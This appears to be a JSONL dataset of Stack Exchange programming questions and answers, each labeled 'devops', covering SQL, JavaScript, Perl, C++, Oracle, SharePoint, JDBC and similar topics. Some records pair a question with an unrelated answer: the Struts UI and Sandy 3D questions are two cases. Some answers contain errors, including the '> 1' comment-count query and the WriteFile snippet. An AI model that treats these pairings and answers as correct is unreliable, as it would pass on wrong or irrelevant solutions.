your problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.687628"}
{"id": "hf_b84603af0ac8", "question": "<p>I need to construct some rather simple SQL, I suppose, but as it's a rare event that I work with DBs these days I can't figure out the details.</p>\n\n<p>I have a table 'posts' with the following columns:</p>\n\n<blockquote>\n  <p>id, caption, text</p>\n</blockquote>\n\n<p>and a table 'comments' with the following columns:</p>\n\n<blockquote>\n  <p>id, name, text, post_id</p>\n</blockquote>\n\n<p>What would the (single) SQL statement look like which retrieves the captions of all posts which have one or more comments associated with it through the 'post_id' key? The DBMS is MySQL if it has any relevance for the SQL query.</p>\n", "question_body": "", "answer": "You're basically looking at performing a subquery --\n```\nSELECT p.caption FROM posts p WHERE (SELECT COUNT(*) FROM comments c WHERE c.post_id=p.id) > 1;\n```\nThis has the effect of running the\n```\nSELECT COUNT(*)\n```\nsubquery for each row in the posts table. Depending on the size of your tables, you might consider adding an additional column,\n```\ncomment_count\n```\n, into your\n```\nposts\n```\ntable to store the number of corresponding\n```\ncomments\n```\n, such that you can simply do\n```\nSELECT p.caption FROM posts p WHERE comment_count > 1\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.709753"}
{"id": "hf_94a240ff15c3", "question": "<p>I've written a cheap &amp; cheerful sound board in for my Mac, and I play the various sounds with NSSound like this:</p>\n\n<pre><code>-(void)play:(NSSound *)soundEffect:(BOOL)stopIfPlaying {\n    BOOL wasPlaying = FALSE;\n\n    if([nowPlaying isPlaying])  {\n        [nowPlaying stop];\n        wasPlaying = TRUE;\n    }   \n\n    if(soundEffect != nowPlaying)\n    {\n        [soundEffect play];\n        nowPlaying = soundEffect;\n    } else if(soundEffect == nowPlaying &amp;&amp; ![nowPlaying isPlaying] &amp;&amp; !wasPlaying) {\n        [nowPlaying play];\n    }\n}\n</code></pre>\n\n<p>Rather than just stop it dead, I'd like it to fade out over a couple of seconds or so.</p>\n", "question_body": "", "answer": "Something like this perhaps? You probably want a more linear dropoff, but the basic idea is make a loop and sleep the period of time till the next update.\n```\n```\nif([nowPlaying isPlaying])  {\n    for(int i = 1; i < 100; ++i)\n    {\n        [nowPlaying setVolume: (1.0 / i)];\n        Sleep(20);\n    }\n    [nowPlaying stop];\n    wasPlaying = TRUE;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.746525"}
{"id": "hf_915b57204925", "question": "<p>I've heard that enabling Link-Time Code Generation (the /LTCG switch) can be a major optimization for large projects with lots of libraries to link together. My team is using it in the Release configuration of our solution, but the long compile-time is a real drag. One change to one file that no other file depends on triggers another 45 seconds of \"Generating code...\". Release is certainly much faster than Debug, but we might achieve the same speed-up by disabling LTCG and just leaving /O2 on.</p>\n\n<p>Is it worth it to leave /LTCG enabled?</p>\n", "question_body": "", "answer": "It is hard to say, because that depends mostly on your project - and of course the quality of the LTCG provided by VS2005 (which I don't have enough experience with to judge). In the end, you'll have to measure.\nHowever, I wonder why you have that much problems with the extra duration of the release build. You should only hand out reproducible, stable, versioned binaries that have reproducible or archived sources. I've rarely seen a reason for frequent, incremental release builds.\nThe recommended setup for a team is this: \nDevelopers typically create only incremental debug builds on their machines. Building a release should be a complete build from source control to redistributable (binaries or even setup), with a new version number and labeling/archiving the sources. Only these should be given to in-house testers / clients.\nIdeally, you would move the complete build to a separate machine, or maybe a virtual machine on a good PC. This gives you a stable environment for your builds (includes, 3rd party libraries, environment variables, etc.).\nIdeally, these builds should be automated (\"one click from source control to setup\"), and should run daily.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.769949"}
{"id": "hf_031838a31eac", "question": "<p>Can someone show me how to get the <code>top</code> &amp; <code>left</code> position of a <code>div</code> or <code>span</code> element when one is not specified?</p>\n<p>ie:</p>\n<pre><code>&lt;span id='11a' style='top:55px;' onmouseover=&quot;GetPos(this);&quot;&gt;stuff&lt;/span&gt;\n&lt;span id='12a' onmouseover=&quot;GetPos(this);&quot;&gt;stuff&lt;/span&gt;\n</code></pre>\n<p>In the above, if I do:</p>\n<pre><code>document.getElementById('11a').style.top\n</code></pre>\n<p>The value of <code>55px</code> is returned. However, if I try that for <code>span</code> '12a', then nothing gets returned.</p>\n<p>I have a bunch of <code>div</code>/<code>span</code>s on a page that I cannot specify the <code>top</code>/<code>left</code> properties for, but I need to display a <code>div</code> directly under that element.</p>\n", "question_body": "", "answer": "This function will tell you the x,y position of the element relative to the page. Basically you have to loop up through all the element's parents and add their offsets together.\n```\n```\nfunction getPos(el) {\n    // yay readability\n    for (var lx=0, ly=0;\n         el != null;\n         lx += el.offsetLeft, ly += el.offsetTop, el = el.offsetParent);\n    return {x: lx,y: ly};\n}\n```\n```\nHowever, if you just wanted the x,y position of the element relative to its container, then all you need is:\n```\n```\nvar x = el.offsetLeft, y = el.offsetTop;\n```\n```\nTo put an element directly below this one, you'll also need to know its height. This is stored in the offsetHeight/offsetWidth property.\n```\n```\nvar yPositionOfNewElement = el.offsetTop + el.offsetHeight + someMargin;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.809268"}
{"id": "hf_cc153c047dc9", "question": "<p>How can I check whether a variable is defined in Ruby?  Is there an <code>isset</code>-type method available?</p>\n", "question_body": "", "answer": "```\ndefined?(your_var)\n```\nwill work. Depending on what you're doing you can also do something like\n```\nyour_var.nil?\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.844074"}
{"id": "hf_65a74d1f9561", "question": "<p>I need to generate random numbers within a specified interval, [max;min].</p>\n\n<p>Also, the random numbers should be uniformly distributed over the interval, not located to a particular point.</p>\n\n<p>Currenly I am generating as:</p>\n\n<pre><code>for(int i=0; i&lt;6; i++)\n{\n    DWORD random = rand()%(max-min+1) + min;\n}\n</code></pre>\n\n<p>From my tests, random numbers are generated around one point only.</p>\n\n<pre><code>Example\nmin = 3604607;\nmax = 7654607;\n</code></pre>\n\n<p>Random numbers generated:</p>\n\n<pre><code>3631594\n3609293\n3630000\n3628441\n3636376\n3621404\n</code></pre>\n\n<p>From answers below: OK, RAND_MAX is 32767. I am on C++ Windows platform. Is there any other method to generate random numbers with a uniform distribution?</p>\n", "question_body": "", "answer": "If you want numbers to be uniformly distributed over the range, you should break your range up into a number of equal sections that represent the number of points you need. Then get a random number with a min/max for each section.\nAs another note, you should probably not use\n```\nrand()\n```\nas it's not very good at actually generating random numbers. I don't know what platform you're running on, but there is probably a better function you can call like\n```\nrandom()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.888395"}
{"id": "hf_7da1a3f8553b", "question": "<p>We have an internal .NET case management application that automatically creates a new case from an email. I want to be able to identify other emails that are related to the original email so we can prevent duplicate cases from being created. </p>\n\n<p>I have observed that many, but not all, emails have a thread-index header that looks useful. </p>\n\n<p>Does anybody know of a straightforward algorithm or package that we could use?</p>\n", "question_body": "", "answer": "As far as I know, there's not going to be a 100% foolproof solution, as not all email clients or gateways preserve or respect all headers.\nHowever, you'll get a pretty high hit rate with the following:\nEvery email message should have a unique \"Message-ID\" field. Find this, and keep a record of it as a part of the case. (See\nRFC-822\n)\nIf you receive two messages with the same Message-ID, discard the second one as it's a duplicate.\nCheck for the \"In-Reply-To\" field, if the ID shown matches a known Message-ID then you know the email is related.\nThe \"References\" and \"Original-Message-ID\" headers have similar meanings.\nIf your system ever generates emails, include a CaseID# in the subject line in a way that you can search for it if you get an email back (eg: [Case#20081114-01]); most people don't edit subject lines when replying.\nThe internet standards\nRFC-822\n,\nRFC-2076\nand\nRFC-4021\nmay be useful further reading.\nGiven that there will always be messages that are missed (for whatever reason), you'll also probably want related features in your case management system - say, \"Close as Duplicate Case\" or \"Merge with Duplicate Case\", along with tools to make it easier to find duplicates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.922161"}
{"id": "hf_e89b242fbaea", "question": "<p>I'm writing a website in JSP using Struts and Hibernate. I'm looking for a way to implement a rich UI where you can have more than just buttons. For examples, drag and drops, drop down lists that updates itself in real time as you type more letters out etc. Is there a way to use something like Swing with Struts and Hibernate? Or are there any other options available for making a rich UI?? (I'm open to abandon Struts and/or Hibernate if there are better alternatives)</p>\n\n<p><strong>Fundamental problem:</strong> The organization I work for have strict rules about what development tools and open source libraries we can or cannot use, and is pretty slow on updating their approval list. None of the AJAX things (e.g. GWT, dojo) are on the list yet. </p>\n\n<p><em>Thank you for taking the time to read this post!</em></p>\n", "question_body": "", "answer": "As far as I know, there's not going to be a 100% foolproof solution, as not all email clients or gateways preserve or respect all headers.\nHowever, you'll get a pretty high hit rate with the following:\nEvery email message should have a unique \"Message-ID\" field. Find this, and keep a record of it as a part of the case. (See\nRFC-822\n)\nIf you receive two messages with the same Message-ID, discard the second one as it's a duplicate.\nCheck for the \"In-Reply-To\" field, if the ID shown matches a known Message-ID then you know the email is related.\nThe \"References\" and \"Original-Message-ID\" headers have similar meanings.\nIf your system ever generates emails, include a CaseID# in the subject line in a way that you can search for it if you get an email back (eg: [Case#20081114-01]); most people don't edit subject lines when replying.\nThe internet standards\nRFC-822\n,\nRFC-2076\nand\nRFC-4021\nmay be useful further reading.\nGiven that there will always be messages that are missed (for whatever reason), you'll also probably want related features in your case management system - say, \"Close as Duplicate Case\" or \"Merge with Duplicate Case\", along with tools to make it easier to find duplicates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.944401"}
{"id": "hf_82e4c9eb8eee", "question": "<p>Say I have a method that needs to pull 8 values from a map with 100 elements in it. Which do you think would be preferable:</p>\n\n<p>Walk in a for loop from begin to end once, pulling the elements out by switching on the key?</p>\n\n<p>Or using find 8 times to get those values?</p>\n", "question_body": "", "answer": "I would use find 8 times.  It will be less (and more obvious) code.\nYou should try not make performance judgements based on small numbers since (a) it isn't likely to be a performance bottleneck either way at this size and (b) the numbers may change in the future -- choose the algorithm with the best asymptotic performance.\nNote: you mention 'switching' on the key ... that may apply in your case, but in general you can't switch on the key value in a map.  Allowing for this would make the code to searching for M items in a map by iteration even more complex.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.966759"}
{"id": "hf_c5f8ae37e78b", "question": "<p>For instance, does the compiler know to translate</p>\n\n<pre><code>string s = \"test \" + \"this \" + \"function\";\n</code></pre>\n\n<p>to</p>\n\n<pre><code>string s = \"test this function\";\n</code></pre>\n\n<p>and thus avoid the performance hit with the string concatenation?</p>\n", "question_body": "", "answer": "Yes. This is guaranteed by the C# specification. It's in section 7.18 (of the C# 3.0 spec):\nWhenever an expression fulfills the\n  requirements listed above, the\n  expression is evaluated at\n  compile-time. This is true even if the\n  expression is a sub-expression of a\n  larger expression that contains\n  non-constant constructs.\n(The \"requirements listed above\" include the + operator applied to two constant expressions.)\nSee also\nthis question\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.001345"}
{"id": "hf_cd57c4d1e488", "question": "<p>Getting the subdomain from a URL sounds easy at first.</p>\n\n<pre><code>http://www.domain.example\n</code></pre>\n\n<p>Scan for the first period then return whatever came after the \"http://\" ...</p>\n\n<p>Then you remember</p>\n\n<pre><code>http://super.duper.domain.example\n</code></pre>\n\n<p>Oh. So then you think, okay, find the last period, go back a word and get everything before! </p>\n\n<p>Then you remember</p>\n\n<pre><code>http://super.duper.domain.co.uk\n</code></pre>\n\n<p>And you're back to square one. Anyone have any great ideas besides storing a list of all TLDs?</p>\n", "question_body": "", "answer": "Anyone have any great ideas besides\n  storing a list of all TLDs?\nNo, because each TLD differs on what counts as a subdomain, second level domain, etc.\nKeep in mind that there are top level domains, second level domains, and subdomains.  Technically speaking, everything except the TLD is a subdomain.\nIn the domain.com.uk example, \"domain\" is a subdomain, \"com\" is a second level domain, and \"uk\" is the TLD.\nSo the question remains more complex than at first blush, and it depends on how each TLD is managed.  You'll need a database of all the TLDs that include their particular partitioning, and what counts as a second level domain and a subdomain.  There aren't too many TLDs, though, so the list is reasonably manageable, but collecting all that information isn't trivial.  There may already be such a list available.\nLooks like\nhttp://publicsuffix.org/\nis one such list—all the common suffixes (.com, .co.uk, etc) in a list suitable for searching.  It still won't be easy to parse it, but at least you don't have to maintain the list.\nA \"public suffix\" is one under which\n  Internet users can directly register\n  names. Some examples of public\n  suffixes are \".com\", \".co.uk\" and\n  \"pvt.k12.wy.us\". The Public Suffix\n  List is a list of all known public\n  suffixes.\nThe Public Suffix List is an\n  initiative of the Mozilla Foundation.\n  It is available for use in any\n  software, but was originally created\n  to meet the needs of browser\n  manufacturers. It allows browsers to,\n  for example:\nAvoid privacy-damaging \"supercookies\" being set for\n  high-level domain name suffixes\nHighlight the most important part of a domain name in the user\n  interface\nAccurately sort history entries by site\nLooking through the list\n, you can see it's not a trivial problem.  I think a list is the only correct way to accomplish this...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.059546"}
{"id": "hf_e1557dcedb70", "question": "<p>I have this code in my aspx page;</p>\n\n<pre><code>&lt;a href=\"javascript:void(0);\" onclick=&lt;% Print(); %&gt; title=\"Print listings\"&gt;Print&lt;/a&gt;\n</code></pre>\n\n<p>which presents a link to print a listings to a pdf when the user clicks on it; as you can note the script calls a function from the behind code.</p>\n\n<p>The problem is that when I coded this it happens that when I go this page it prints to pdf when is loading, I thought it would wait for a click but instead it performs the printing.</p>\n\n<p>What is the problem? thanks in advance.</p>\n\n<p>PD. I'm working with VS2005 and for the pdf creation I use iTextSharp.</p>\n", "question_body": "", "answer": "Its a bit hard to tell exactly what is happening from your code snippet, but I would assume that you are outputting the pdf file to the response stream as part of the print() function.\nThis is will display the pdf on load because the code behind is evaluated at render time (just before it sends the code to the browser) instead of being evaluated on the client.\nTo get the behavior you would like the best method is to create a http handler file (ashx) that will accept any required arguments as request variables on the url and will then output the pdf to the stream.\nYou can then just create a href to the ashx file with the correct arguments to dispaly the document.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.105652"}
{"id": "hf_fdd83a94efcc", "question": "<p>Is there anyway to get Eclipse to automatically look for static imports? For example, now that I've finally upgraded to Junit 4, I'd like to be able to write:</p>\n\n<pre><code>assertEquals(expectedValue, actualValue);\n</code></pre>\n\n<p>hit <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>O</kbd> and have Eclipse add:</p>\n\n<pre><code>import static org.junit.Assert.assertEquals;\n</code></pre>\n\n<p>Maybe I'm asking too much.</p>\n", "question_body": "", "answer": "Not exactly what I wanted, but I found a workaround. In Eclipse 3.4 (Ganymede),  go to\nWindow->Preferences->Java->Editor->Content Assist\nand check the checkbox for\nUse static imports (only 1.5 or higher)\n.\nThis will not bring in the import on an Optimize Imports, but if you do a Quick Fix (\nCTRL\n+\n1\n) on the line it will give you the option to add the static import which is good enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.168810"}
{"id": "hf_f19bcb135c01", "question": "<p>I need to replace our <a href=\"http://en.wikipedia.org/wiki/Ajax_%28programming%29\" rel=\"noreferrer\">Ajax</a> Modal Popup controls with a JavaScript equivalent. We use this as a simple context sensitive help type popup. I did a quick browse but didn't see quite what I was looking for. I just need some text and a simple Close button/link, but I would like the page darkened below the popup, as it does with the Ajax modal control.</p>\n\n<p>Can anyone suggest a nice JavaScript popup/help type solution that you've used?</p>\n", "question_body": "", "answer": "Maybe you are looking for something like\nthis\n? [ui.jquery.com]\nIt's the simplest one, and can come bundled with a lot of other eye candy. Of course you could also look around the rest of the\njQuery plug-ins page\n, specially the\nWindows and Overlays section\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.202710"}
{"id": "hf_d84bdf937dc1", "question": "<p>C#: How would you cycle through items in a listview using next and previous buttons?</p>\n\n<p>Background:</p>\n\n<p>Let's say you have 10 items in a listview.</p>\n\n<p>Next to the listview there are two buttons titled previos and next.</p>\n\n<p>Problem:</p>\n\n<p>How would you cycle through those listview items after clicking the Next and or Previous button?</p>\n", "question_body": "", "answer": "Without testing it, I'm guessing this would work:\n```\n```\nfor(int i=0;i<listView.Items.Count;i++)\n      listView.Items[i]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.236941"}
{"id": "hf_8e4a18074cef", "question": "<p>Is there a way I can set up callbacks on (or automataically log) method parameters, entries, and exits without making explicit calls within each method? I basically want to log this information to my logger class (which is static) without having to do it manually for each method.</p>\n\n<p>Right now I have to call Logger::logEntry() and Logger::logExit() in every method to accomplish this. I would love to not have to do this:</p>\n\n<pre><code>class TestClass {\n    public function tester($arg) {\n        Logger::logEntry();\n        Logger::info('Parameter $arg =&gt; ' . $arg);\n\n        // Do some stuff...\n\n        Logger::logExit();\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "you could use the magic function\n```\n__call\n```\n. It gets called when no functions match that name. Rename your methods to be prefixed with something, (eg: underscore), and optionally set them to private/protected.\n```\n```\nclass TestClass {\n    public function __call($function, $args) {\n        Logger::logEntry();\n        Logger::info('Parameters: ' . implode(\", \", $args);\n\n        $localFunc = \"_\" . $function;\n        $return = $this->$localFunc($args);\n\n        Logger::logExit();\n\n        return $return;\n    }\n\n    private function _tester() {\n        // do stuff...\n        return \"tester called\";\n    }\n}\n\n $t = new TestClass();\n echo $t->tester();\n // \"tester called\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.260316"}
{"id": "hf_fbf56cf16d6d", "question": "<p>I have a string which holds a decimal value in it and I need to convert that string into a floating point variable. So an example of the string I have is \"5.45\" and I want a floating point equivalent so I can add .1 to it. I have searched around the internet, but I only see how to convert a string to an integer.</p>\n", "question_body": "", "answer": "You don't need to convert it at all:\n```\n```\n% perl -e 'print \"5.45\" + 0.1;'\n5.55\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.307655"}
{"id": "hf_b1618abca6f6", "question": "<p>To send a serial string character to the serial port.  I would need to call WriteFile(handle, \"A\", strlen(\"A\"), ...)</p>\n\n<p>However, what if I want to specify and send a hex or binary number?  For example, I want to send WriteFile(handle, 0x41, sizeOf(0x41), ...) ?</p>\n\n<p>Is there a function that allow me to do this?</p>\n", "question_body": "", "answer": "If you just want to write one byte, it still needs to be in an array.\nSo you would need:\n```\n```\nint buffer[1024];\nbuffer[0] = 42;\n\nWriteFile(handle, buffer, 1);\n```\n```\nSee this:\nhttp://msdn.microsoft.com/en-us/library/aa365747(VS.85).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.358543"}
{"id": "hf_6888321eba80", "question": "<p>Is it possible to perform a named-group match in Perl's regex syntax as with Python's? I always bind the <code>$n</code> values to proper names after matching, so I'd find it more convenient to do it in the regex itself if it's possible.</p>\n\n<p>Python does it like so:</p>\n\n<pre><code>&gt;&gt;&gt; import re\n&gt;&gt;&gt; regex = re.compile(r'(?P&lt;count&gt;\\d+)')\n&gt;&gt;&gt; match = regex.match('42')\n&gt;&gt;&gt; print match.groupdict()\n{'count': '42'}\n</code></pre>\n\n<p>I know the <code>?P</code> indicates that it's a Python-specific regex feature, but I'm hoping it's in Perl in a different way or was added later on. Is there any way to get a result hash in a similar manner in Perl?</p>\n", "question_body": "", "answer": "AFIK\nPCRE\nhas named group capturing as:\n```\n```\n(?'NAME'pattern)\n(?<NAME>pattern)\n```\n```\nYou can find info\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.394054"}
{"id": "hf_9d912a527f35", "question": "<p>I'm looking to calculate the number of months between 2 date time fields.</p>\n<p>Is there a better way than getting the Unix timestamp and then dividing by 2 592 000 (seconds) and rounding up within MySQL?</p>\n", "question_body": "", "answer": "The\nDATEDIFF\nfunction can give you the number of days between two dates.  Which is more accurate, since... how do you define a month?  (28, 29, 30, or 31 days?)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.418793"}
{"id": "hf_a7c21a728c3a", "question": "<p>I was trying to follow some instructions today, and it starts with the comment </p>\n\n<pre><code>\nREM  In SQLPlus I manually copy in each line and execute it.\n</code></pre>\n\n<p>That's nice, I don't have SQLPlus, I have SQLDeveloper.  The lines that were pasted in were of the type:</p>\n\n<pre><code>\n@\\\\server\\dir\\dir\\dir\\commandfile1.txt;\nCOMMIT;\n</code></pre>\n\n<p>...etc.</p>\n\n<p>It didn't like it when I tried that in a SQL window.  I opened up and pasted in the commands by hand, and it wasn't happy with that either.  (Did I mention that I'm not so good with this application nor Oracle, but that everyone else was out today?)  The files there started with code like:</p>\n\n<pre><code>\nrem\nset echo on\nrem\nexecute procedure_name ('parameter1', 'parameter2');\n</code></pre>\n\n<p>A co-worker did have SQLPlus, and together we got it resolved.  But, is there a way for me to do this with SQLDeveloper, so I'm not stuck if he's out too?</p>\n", "question_body": "", "answer": "This would do it:\n```\n```\nbegin\n    procedure_name ('parameter1', 'parameter2');\nend;\n/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.442210"}
{"id": "hf_ada5f6d03fef", "question": "<p>I was wondering if anyone can help me get started with creating a room in Sandy 3D. I know I can generate the planes, but I am unsure as to how to implement simple physics (i.e. the player cannot walk through a wall). Is there a simple way to do this, or should I look into something like WOW (3D physics engine for Flash)?</p>\n\n<p>Thanks,\nCameron</p>\n", "question_body": "", "answer": "This would do it:\n```\n```\nbegin\n    procedure_name ('parameter1', 'parameter2');\nend;\n/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.466605"}
{"id": "hf_d7d2c3f071c1", "question": "<p>I have a MySQL table where an indexed <code>INT</code> column is going to be 0 for 90% of the rows. If I change those rows to use <code>NULL</code> instead of 0, will they be left out of the index, making the index about 90% smaller?</p>\n", "question_body": "", "answer": "It looks like it does index the\n```\nNULL\n```\ns too.\nBe careful when you run this because MySQL will LOCK the table for WRITES during the index creation. Building the index can take a while on large tables even if the column is empty (all nulls).\nReference\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.490393"}
{"id": "hf_cdaafe00ff64", "question": "<p>I have an Asp.Net 1.1 application that uses the following code to write out an image file to a pop up web page.</p>\n\n<pre><code>    Response.ContentType=\"image/tiff\"   'Only for Tif files\n    Dim objStream As Object\n    objStream = Server.CreateObject(\"ADODB.Stream\")\n    objStream.open()\n    objStream.type = 1\n    objStream.loadfromfile(localfile)\n    Response.BinaryWrite(objStream.read)\n</code></pre>\n\n<p>I'm testing this out with TIF files. The files are being displayed correctly in IE6 and Safari but in IE7 they are not displaying and nothing seems to be returning to the web page. Files with jpg, gif extensions are being displayed properly. What might be the problem here?</p>\n", "question_body": "", "answer": "Have you tried setting the\nContent-Disposition\nto Inline?\n```\n```\nResponse.AppendHeader(\"Content-Disposition\", \"inline\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.526527"}
{"id": "hf_ffc3d39560ed", "question": "<p>I am trying to write a console app that simply lists the number of lists at the sharepoint root.</p>\n\n<p>I tried doing it by using the following code, but the object SPContext.Current is null.  Any ideas of how to get the web object?</p>\n\n<pre><code> SPWeb web = SPContext.Current.Site.OpenWeb(\"http://localhost\") ;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSPSite spSite = new SPSite(\"http://myurl\");\nSPWeb spMySite = spSite.Allwebs[\"mysite\"];\nSPWeb spRootsite = spsite.RootWeb;\n```\n```\nThe console app will only run on the server as usual.\nAlso, the url used\nhttp://myurl\ncan be a url to a page and an SPSite object will be created. E.g.\nhttp://myurl/mysite/pages/default.aspx\nwill get a valid SPSite object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.549804"}
{"id": "hf_8116f35b0530", "question": "<p>It seems like the classical way to handle transactions with JDBC is to set auto-commit to false. This creates a new transaction, and each call to commit marks the beginning the next transactions.\nOn multithreading app, I understand that it is common practice to open a new connection for each thread.</p>\n\n<p>I am writing a RMI based multi-client server application, so that basically my server is seamlessly spawning one thread for each new connection.\nTo handle transactions correctly should I go and create a new connection for each of those thread ? \nIsn't the cost of such an architecture prohibitive?</p>\n", "question_body": "", "answer": "Yes, in general you need to create a new connection for each thread.  You don't have control over how the operating system timeslices execution of threads (notwithstanding defining your own critical sections), so you could inadvertently have multiple threads trying to send data down that one pipe.\nNote the same applies to any network communications.  If you had two threads trying to share one socket with an HTTP connection, for instance.\nThread 1 makes a request\nThread 2 makes a request\nThread 1 reads bytes from the socket, unwittingly reading the response from thread 2's request\nIf you wrapped all your transactions in critical sections, and therefore lock out any other threads for an entire begin/commit cycle, then you might be able to share a database connection between threads.  But I wouldn't do that even then, unless you really have innate knowledge of the JDBC protocol.\nIf most of your threads have infrequent need for database connections (or no need at all), you might be able to designate one thread to do your database work, and have other threads queue their requests to that one thread.  That would reduce the overhead of so many connections.  But you'll have to figure out how to manage connections per thread in your environment (or ask another specific question about that on StackOverflow).\nupdate:\nTo answer your question in the comment, most database brands don't support multiple concurrent transactions on a single connection (InterBase/Firebird is the only exception I know of).\nIt'd be nice to have a separate transaction object, and to be able to start and commit multiple transactions per connection.  But vendors simply don't support it.\nLikewise, standard vendor-independent APIs like JDBC and 